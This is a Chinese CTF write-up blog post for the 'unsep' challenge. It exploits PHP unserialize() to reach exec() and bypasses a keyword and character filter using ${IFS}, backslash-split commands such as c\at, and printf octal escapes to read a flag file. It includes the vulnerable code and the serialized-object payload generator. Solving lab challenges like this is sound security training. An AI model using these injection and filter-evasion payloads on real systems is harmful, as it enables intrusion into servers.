攻防世界web upsep

【攻防世界web题unsep】


【题目】:unsep(江苏工匠杯)

【难度】:1

【考点】:php反序列化、各种绕过姿势

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {   //检查对象的method属性是否为ping
            call_user_func_array(array($this, $this->method), $this->args);    //调用method的方法(即ping),传递参数args
        }
    } 
 
    function ping($ip){    //触发命令执行
        exec($ip, $result);
        var_dump($result);    //返回数组
    }

    function waf($str){       //过滤
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){    
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>


【思路】:先看代码逻辑通过post获得'ctf' → base64解密 → 反序列化 → wakeup方法 →waf()正则匹配过滤 → 满足destruct()条件时call_user_func_array(ping(,args) → ping(args)) → exec()执行命令
那我们接下来要做的事就很清楚了,一是绕过过滤名单的执行命令,二是如何满足destruct()的条件。(method属性为ping)

​【详解】:构建ease对象,method为ping,args为要执行的命令。
ls被过滤可以用dir或者用斜杠l/s绕过 ;空格被过滤用${IFS}绕过
于是写出代码如下:

<?php
class ease{
    private $args;
    private $method="ping";
    $args=array('dir${IFS}');
}

a=base64_encode(serilalize(new ease());
echo(a);

?>


乍一看该有的都有了,但是报错:`Parse error: syntax error, unexpected variable "$args", expecting "function" or "const" in C:\python_work\php\test1.php on line 5`
???

去查,原因如下:`这个错误是因为在 PHP 类的定义中,不能直接给属性赋值表达式或变量,而只能直接赋值 常量(const) 或 静态值`,我在这里给args这一变量赋值了表达式,故报错。。(就是这人的代码能力太烂了哈:)


修改代码如下:
<?php
class ease{
    private $args;
    private $method;

    public function __construct(){    #在构造函数 __construct() 里初始化
        $this->method="ping";
        $this->args="dir${IFS}";
    }
    
}

$a=base64_encode(serialize(new ease()));
echo($a);

?>


将返回结果用post发送,却没有回显???

问题出在这里:`$this->args="dir${IFS}";`,因为call_user_func_array()的第二个参数(这里为args)要为一个数组,这行代码应该为:`$this->args=array("dir${IFS})`

即最终代码为:
<?php
class ease{
    private $args;
    private $method;

    public function __construct(){
        $this->method="ping";
        $this->args=array("dir${IFS}");
    }
    
}

$a=base64_encode(serialize(new ease()));
echo($a);

?>



post传入结果得到flag相关信息:



查看这个目录,将args的命令改为`l\s${IFS}fl\ag_1s_here`,回显可以看见flag






想要获得flag_1s_here/flag_831b69012c67b35f.php的信息,肯定需要绕过对/的过滤。采用八进制转义绕过(/对应\57),使用$(printf${IFS}”\57”)内敛执行输出“/”到字符串中


为什么不是直接用\57而是要$(printf${IFS}”\57”)

Shell的字符串解析规则不会自动将\57转换为\(除非使用特定语法如 $'\57')。而在php中exec()函数中,传入的命令是由shell解析的。
$(printf${IFS}”\57”)的结构:printf能正确识别\57;$()可以将printf结果嵌入到字符串中。



于是将args的命令改为:c\at${IFS}fl\ag_1s_here$(printf${IFS}"\57")fl\ag_831b69012c67b35f.p\hp,成功读取flag信息。



(一道难度为1的题被我做的一波三折。。。)
posted @ 2025-04-21 18:02  埃克斯X  阅读(26)  评论(0)    收藏  举报